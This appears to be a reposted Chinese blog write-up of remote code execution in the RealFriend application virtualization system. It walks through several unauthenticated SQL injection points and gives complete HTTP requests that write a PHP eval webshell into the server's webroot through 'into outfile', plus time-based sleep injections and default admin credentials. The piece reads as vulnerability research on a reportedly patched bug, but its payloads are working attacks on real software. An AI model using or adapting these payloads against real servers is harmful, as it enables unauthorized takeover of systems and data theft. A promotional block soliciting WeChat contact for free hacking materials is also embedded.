主頁 >  其他 > 記一次某應用虛擬化系統遠程代碼執行

記一次某應用虛擬化系統遠程代碼執行

2023-04-26 09:08:52 其他

漏洞簡介

　　微步在線漏洞團隊通過“X漏洞獎勵計劃”獲取到瑞友天翼應用虛擬化系統遠程代碼執行漏洞情報(0day)，攻擊者可以通過該漏洞執行任意代碼，導致系統被攻擊與控制，瑞友天翼應用虛擬化系統是基于服務器計算架構的應用虛擬化平臺，它將用戶各種應用軟體集中部署到瑞友天翼服務集群，客戶端通過WEB即可訪問經服務器上授權的應用軟體，實作集中應用、遠程接入、協同辦公等，

　　漏洞是因為未授權介面在接收引數時沒有進行處理校驗，存在 SQL 注入漏洞，又因為集成環境中的 mysql 擁有寫入檔案的權限，所以寫入 webshell 最終導致代碼執行，

影響版本

　　5.x <= 瑞友天翼應用虛擬化系統（GWT System） <= 7.0.2. 

       目前相關漏洞已修復，

環境搭建

　　從師傅處拷到的安裝包 Gwt7.0.2.1.exe 默認模式安裝，最后

　　?image?

　　?image?

　　在線注冊獲取試用 http://mop.realor.cn/TrialReg.aspx

　　?image注冊成功后

　　?image登錄頁面 默認賬號密碼是 Admin/123?

　　?image?

　　默認路徑在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot?

　　?image

　　默認資料庫配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat?

　　?image?

　　賬號密碼需要將其中的 # 替換為 = 并進行 base64 解碼

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

漏洞復現與分析

　　通過 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo? 查看版本資訊

　　?image?

　　為了方便查看后端實際執行的完整sql，我們可以使用框架提供的 getLastSql() 方法來 獲取最近一次執行的SQL陳述句

　　?image?

注入一IndexController.class.phpdologin

　　?webroot/casweb/Home/Controller/IndexController.class.php:dologin?

　　?image我們看到其中的 SQL 陳述句以及對該函式的請求路由

　　?http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b?

　　構造資料包 并列印出相對應的 sql 陳述句

　　?image因為默認沒有開啟驗證碼，所以可以直接到達 SQL 陳述句處

　　因為搭建環境時，使用了集成好的mysql 環境，擁有 DBA 的權限，所以可以在檔案夾任意位置寫入內容

show global variables like '%secure%';

　　?image?

　　secure_file_priv='' #允許寫入到任何檔案夾

　　利用報錯資訊得到專案的絕對路徑

　　?image構造payload

POST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
?
name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#

　　?image??image?

　　?image?

查詢管理員用戶的賬戶和密碼

　　?imageimage?

注入二__ConsoleExternalUploadApi.XGI

　　?webroot/ConsoleExternalUploadApi.XGI?

　　?image獲取到三個引數，當三個引數都不為空時，呼叫 getfarminfo? 來進行處理

　　?webroot/Function.XGI?

　　??image?

　　?webroot/Common.XGI?

　　?image對 key 值沒有做任何校驗，所以可以構造 payload 實作注入

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
?
initParams=1&sign=2&key=FarmName'and sleep(5)#

　　修改了代碼 列印出了 SQL 命令

　　?image構造實作注入寫入檔案

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
?
initParams=1&sign=1&key=1'union select '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#

　　?image?

　　?image?

　　?image?

注入三ConsoleExternalUploadApi.XGIuploadAuthorizeKeyFile

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
?
initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10

　　?image?

注入四ConsoleExternalApi.XGIcreateUser

　　?

　　之后的漏洞大抵上都可以描述為同一個漏洞，只是因為引數的不同，傳入到不同的位置，在這里僅僅用一個來舉例，之后的不再詳細進行分析

　　我們從 ConsoleExternalApi.XGI 進行分析

　　?image通過 REQUEST 方法獲取到引數

　　?image通過接下來的這段代碼，我們可以得到如下結論，當 $key 的值為 inner? 時，$keyVal 是一個固定值，$sign 的值是 md5($initparams . $keyVal);? $initparams 中需要包含 __? 來分割資料，得到每個引數

　　?image然后再通過 _? 分割 得到每個引數所對應的值 也就是當傳入的值是 a_1__b_2 最后得到的也就是 a=1&b=2

　　繼續向下分析

　　?image當傳入的 cmd 的值是 createUser? 時，進入相對應的分支，構造相對應的陳述句就可以實作注入，

POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json
?
{"account":"1'or sleep(5)#",
"userPwd":"1"}

　　?image?

　　?

注入五 ConsoleExternalApi.XGIgetUserDetailByAccount

POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
?
initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058

　　?image

更多靶場實驗練習、網安學習資料，請點擊這里>>

 

合天智匯：合天網路靶場、網安實戰虛擬環境

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/551268.html

標籤：其他

上一篇：記一次某應用虛擬化系統遠程代碼執行

下一篇：返回列表

標籤雲
其他(158155) Python(38106) JavaScript(25394) Java(18001) C(15217) 區塊鏈(8260) C＃(7972) AI(7469) 爪哇(7425) MySQL(7148) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5870) 数组(5741) R(5409) Linux(5329) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4562) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2431) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1960) Web開發(1951) HtmlCss(1927) python-3.x(1918) 弹簧靴(1913) C++(1912) xml(1889) PostgreSQL(1874) .NETCore(1855) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 記一次某應用虛擬化系統遠程代碼執行

    微步在線漏洞團隊通過“X漏洞獎勵計劃”獲取到瑞友天翼應用虛擬化系統遠程代碼執行漏洞情報(0day)，攻擊者可以通過該漏洞執行任意代碼，導致系統被攻擊與控制。瑞友天翼應用虛擬化系統是基于服務器計算架構的應用虛擬化平臺，它將用戶各種應用軟體集中部署到瑞友天翼服務集群，客戶端通過WEB即可訪問經服務器上授... ......

    uj5u.com 2023-04-26 09:08:52 more
  • 記一次某應用虛擬化系統遠程代碼執行

    微步在線漏洞團隊通過“X漏洞獎勵計劃”獲取到瑞友天翼應用虛擬化系統遠程代碼執行漏洞情報(0day)，攻擊者可以通過該漏洞執行任意代碼，導致系統被攻擊與控制。瑞友天翼應用虛擬化系統是基于服務器計算架構的應用虛擬化平臺，它將用戶各種應用軟體集中部署到瑞友天翼服務集群，客戶端通過WEB即可訪問經服務器上授... ......

    uj5u.com 2023-04-26 08:58:28 more
  • Midjourney的一些學習心得：如何高效的圖生圖

    注意本文沒有什么長篇大論，全部是自己的學習心得。 心得體會：如何圖生圖 今天在一篇midjourney看到好圖應該怎么抄。 相信經常會看到好圖也想要的，但是要么抄不出感覺，要么抄過來把水印也抄了，這一篇給你說清楚。 我們知道，AI 繪畫的核心就是給他怎么樣的Prompt 。 然而想讓Midjourn ......

    uj5u.com 2023-04-26 07:54:56 more
  • 棋盤覆寫問題——分治法

    問題描述 有一個 x （k>0）的棋盤，恰好有一個方格與其他方格不同，稱之為特殊方格。現在要用如下圖所示的L形骨牌覆寫除了特殊方格以外的其他全部方格，骨牌可以任意旋轉，并且任何兩個骨牌不能重復。請給出一種覆寫方式。 樣例： 輸入： 輸出： 思路——分治法： 將一個規模為n的問題分解為k個規模較小的子 ......

    uj5u.com 2023-04-26 07:54:45 more
  • [白嫖]阿里云服務器ECS以及無影云桌面

    [白嫖]aliyun 阿里云ECS和無影云桌面 [云服務器 ECS]學生認證約7個月 適合入門級開發者，用于搭建網站、小程式、云博客、部署主流開發環境，如 lamp、node.js、wordpress 等。 1核2GB 每月750小時 規格資訊：s6 1核 2GB，1Mbps 帶寬，40GB 系統盤 ......

    uj5u.com 2023-04-26 07:54:36 more
  • 排序演算法之詳解選擇排序

    引入 選擇排序顧名思義是需要進行選擇的，那么就要問題了，選擇到底是選擇什么呢? 選擇排序的選擇是選擇陣列中未排序的陣列中最小的值，將被選擇的元素放在未排序陣列的首位 如果你對 ‘未排序陣列’ ， ‘選擇’ 的概念不理解，那么你可以看看下面的圖 思路 有了上面的一些基礎之后，我們再來說說選擇排序演算法的 ......

    uj5u.com 2023-04-26 07:54:29 more
  • 【動手學深度學習】第四章筆記：多層感知機、權重衰減、暫退法、數

    為了更好的閱讀體驗，請點擊這里 4.1 多層感知機 4.1.1 隱藏層 由于仿射變換中的線性是一個很強的假設，因此導致了線性模型可能會不適用。線性意味著單調假設：任何特征的增大都會導致模型輸出的增大或者模型輸出的減小。 但是違反單調性的例子比比皆是。除此之外，分類任務中，僅依托像素強度分類也很不合理 ......

    uj5u.com 2023-04-26 07:53:03 more
  • CVE-2016-3088漏洞復現

    1.背景介紹。 ActiveMQ的web控制臺分三個應用，admin、api和fileserver，其中admin是管理員頁面，api是介面，fileserver是儲存檔案的介面；admin和api都需要登錄后才能使用，fileserver無需登錄。 fileserver是一個RESTful API ......

    uj5u.com 2023-04-26 07:52:39 more
  • 2023年企業服務行業6大CRM客戶關系管理系統盤點

    本文首先分析了企業服務行業5大業務場景以及選型標準，盤點了目前適合企業服務行業的六大CRM系統服務商并進行了深入分析。希望幫到你 對于企業而言，今天的世界，唯一不變的就是變化，尤其是數字化時代，應對變化成為企業經營增長的必修課。當下，企業數字化轉型已經進入深水區，單一的產品和技術創新已經越來越難以滿 ......

    uj5u.com 2023-04-26 07:52:28 more
  • Java序列化和反序列化

    一、序列化和反序列化 1、含義 ? 序列化就是記憶體中的物件寫入到IO流中，保存的格式可以是二進制或者文本內容。反序列化就是IO流還原成物件。 2、用途 （1）傳輸網路物件 （2）保存Session 二、Java序列化演示 1、序列化 java.io.ObjectOutputStream代表物件輸出流 ......

    uj5u.com 2023-04-26 07:52:22 more

Copyright © 2010-2020 有解無憂